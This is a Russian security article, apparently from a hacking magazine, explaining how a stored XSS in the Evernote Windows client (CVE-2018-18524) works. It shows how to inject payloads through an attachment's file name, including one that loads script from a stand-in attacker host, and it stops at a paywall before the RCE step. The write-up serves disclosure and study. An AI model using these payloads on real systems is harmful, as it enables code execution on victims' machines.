Следующая новость
Предыдущая новость

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote

28.11.2018 13:12
Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote

Содержание статьи

  • Стенд
  • Первые шаги
  • От XSS до RCE
  • Демонстрация уязвимости (видео)
  • Вывод

Не сомневаюсь, что ты слышал про сервис создания и хранения заметок Evernote. В клиентском приложении Evernote для Windows есть хранимая XSS-уязвимость, с помощью которой можно выполнить произвольный код на целевой системе пользователя.

INFO

Эта уязвимость получила код CVE-2018-18524.

Evernote — это один из первопроходцев в области сервисов для ведения заметок на разных устройствах с возможностью синхронизации. Публичная бета была выпущена уже более десяти лет назад, в июне 2008 года. Заметками здесь считаются фрагменты форматированного текста, веб-страницы целиком или частями, фотографии, аудиофайлы или рукописные записи.

Заметки могут также содержать вложения с файлами другого типа. Довольно удобная вещь, которая прочно вошла в обиход современного пользователя. Количество пользователей Evernote на данный момент превысило 200 миллионов. Разумеется, клиенты Evernote доступны на всех основных платформах: Android, iOS, macOS и, конечно, Windows.

В версии для Windows и была обнаружена уязвимость типа XSS. Многие исследователи и аудиторы недооценивают этот тип атак и списывают его со счетов. Но перед нами как раз пример случая, когда XSS легким движением руки превращается в удаленное выполнение команд на машине юзера.

Уязвимость изначально была найдена человеком под ником @sebao, а затем допилена и раскручена до RCE исследователем Тунцином Чжу (Tongqing Zhu) из Knownsec 404 и отправлена вендору. Под угрозой оказались все версии приложения ниже беты 6.16.1. Давай посмотрим, как это стало возможным.

Стенд

Так как уязвима только версия приложения для Windows, нам, очевидно, понадобится эта ОС. Заметку с XSS можно создать почти в любой версии ниже 6.15. Я буду использовать 6.14.5 билд 7671. Установка стандартна.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Приложение Evernote 6.14.5 для Windows

После того как мы создадим заметку с пейлоадом, она будет работать на любой версии ниже беты 6.16.1.

Почему такая путаница с версиями? Дело в том, что с 6.15 разработчики внедрили санитизацию пользовательских данных: фильтруются символы <, > и ". Поэтому создать заметку с XSS легальными способами в приложении больше не выйдет.

Первые шаги

После установки нужно зарегистрироваться или войти в аккаунт, если он у тебя уже есть. Создаем новую заметку и перетаскиваем туда любую картинку.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Создание новой заметки в Evernote

Окно можно закрывать, данные сохраняются автоматически. Теперь посмотрим, в каком формате приложение хранит данные. Для этого зайдем в настройки в секцию General и найдем раздел Evernote local files.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Настройки Evernote в Windows

Там нужно нажать на линк Open Database folder. Попадаем в папку с файлами профиля вида <имя_профиля>.exb. Для открытия такого файла придется скопировать его или завершить работу с приложением Evernote. Воспользуемся любым HEX-редактором, чтобы увидеть содержимое файла.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Файл профиля Evernote

Как видишь, заголовок сообщает, что это обычная база данных в формате SQLite версии 3. Проверим это. Существует множество приложений, которые позволяют манипулировать ими. Я пользуюсь DB Browser for SQLite. Устанавливаем и открываем файл EXB в ней. Среди множества таблиц есть resource_attr. Здесь хранятся данные элементов, прикрепленных к заметкам, таких как наша картинка.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Просмотр таблицы resource_attr в файле профиля Evernote

В поле file_name хранится текущее имя аттача. Его можно изменить в самой заметке, щелкнув правой кнопкой мыши на картинку и выбрав Rename. Напишем здесь что-то более осмысленное, например " onclick="alert('XSS')">.jpg.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Добавляем XSS-пейлоад вместо имени картинки

Теперь заглянем в базу и снова посмотрим на поле file_name.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Просмотр таблицы resource_attr после переименования картинки

Теперь переоткроем созданную заметку и кликнем по картинке.

Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Хранимая XSS в Evernote

Бам! Поймали алерт. Так происходит, потому что в редакторе используется разметка HTML для форматирования данных. Под катом почти полноценный браузер с JavaScript и всякими дополнительными плюшками. Можно покопаться в памяти процесса Evernote и найти, как выглядит код, выводящий картинку.

<span>    <div><img src="en-resource://database/392:0" type="image/jpeg" data-filename="Mia.jpg#26759185"/></div>    <div><br/></div> </span> 
Токсичные заметки. Как с помощью XSS исполнять произвольный код в Evernote
Просмотр HTML в памяти процесса Evernote

Ссылка en-resource://database/392:0 указывает на аттач с UID 392 в базе. Как ты видел выше, это наша картинка. В атрибуте data-filename — данные из поля file_name. Именно сюда мы внедряем пейлоад.

<img src="en-resource://database/392:0" type="image/jpeg" data-filename="" onclick="alert('XSS')">.jpg#26759185"/> 

Поэтому-то алерт и отрабатывает.

Если ты используешь более новую версию, в которой уже фильтруется пользовательский ввод и нельзя создать картинку с XSS, то можешь изменить поле file_name напрямую в таблице — это тоже прокатит.

Давай преобразуем наш пейлоад в более удобный для эксплуатации вид:

"><script src="http://attacker.server/xss.js">.jpg 

Теперь нам не придется каждый раз править код, чтобы попробовать что-то новое.

Продолжение доступно только подписчикам

Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.

Подпишись на «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

1 год

4970 р.

Экономия 1400 рублей!

1 месяц

720 р.

25-30 статей в месяц

Уже подписан?

Источник

Последние новости